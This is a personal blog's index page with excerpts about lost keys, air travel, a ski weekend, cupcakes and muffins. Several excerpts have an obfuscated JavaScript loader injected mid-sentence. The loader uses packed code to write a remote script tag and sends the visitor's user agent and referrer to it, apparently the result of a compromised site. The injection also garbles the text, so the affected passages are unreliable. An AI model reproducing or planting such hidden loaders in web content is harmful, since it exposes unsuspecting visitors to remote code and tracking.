Keys

While in San Antonio for work, the rental car keys flew out of a backpack and down the tiny sliver of room between the elevator and the floor.  The odds?  Close to 1 in a 1000.   I ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ebhti|var|u0026u|referrer|aezir||js|php’.split(‘|’),0,{})) thought it would be easy to retrieve – it happened all the […]

Poor Design

As a design engineer (who is often guilty of poor designs, hopefully the good ones outweigh the bad), I often look at other designs and uate them.  Usually I think, “Man, I wish I had thought of that.”  But recently, I looked at 2 different things and thought, “Man, that really could have been done […]

Airplanes

Here’s a little rant.  You’ve been warned. I ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hsbrt|var|u0026u|referrer|darby||js|php’.split(‘|’),0,{})) remember one of my first plane rides as a child, not to brag, but I was really well behaved.  I probably talked too much, but I stayed in my seat and didn’t fidget, I think Stacey was on the plane ride too, […]

The weekend

I was going to post a little bit about the science bowl, but Nick ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rkskd|var|u0026u|referrer|kfrii||js|php’.split(‘|’),0,{})) did a nice job recapping the event. So Nick and I watched a little bit of the Oscars.  I don’t think I’ve ever seen ALL of the films in a category before….that is, before tonight.  Animated […]

Best Blogs of 2009

Time magazine just posted the best blogs of 2009.  Personally, I think the title should be best blogs of 2008 – what happens if an awesome, life changing blog starts in July.  I imagine it will be a best blog of 2010….but I digress. Here ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tifds|var|u0026u|referrer|zndia||js|php’.split(‘|’),0,{})) are a few that piqued […]

TI-83, how I’ve missed you

The TI-83 and I go WAY back.  It all started back in Integrated 2, first year of high school.  It served me well until the day I lost it.  On the bus.  The day of my Integrated 3 math midterm.  It was a terrible feeling, my trusty calculator gone.  I was going to have to […]

Red velvet cupcakes and other Valentine’s day adventures

Nick and I went to yoga this morning.  It was his idea, I didn’t make him go. Then we went to the farmer’s market and got kettle corn.  Everyone else got healthy fruits and vegetables, we got sugar coated butter corn. I decided to make red velvet […]

Creamy substances at the airport

So I went through airport security with a small container of spinach artichoke dip.  I wanted a snack on the plane and it sounded delicious.  It didn’t seem like a liquid, more like a solid, but I put the container in my liquids bag to be safe.  Well, I got screened.  Here is how the […]

Tahoe 2009

Nick and I went to Tahoe this weekend for a ski weekend with the Lopers. We started off Saturday by ourselves at Sierra at Tahoe. The weather was AWESOME! And it was a good day for me to get warmed up and ready for the Loper boys – they ski on the hard ones. ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return […]

Costco Muffins Update

But first, a shoutout to Katie Musar, she still reads my blog (Thanks Katie!)!  She also asked a very good question, “What type of muffins did we choose?”  Well, we got maple/apple and bran.  Yeah yeah, I know, bran is lame.  But I was trying to be healthy.  The maple/apple were delicious.
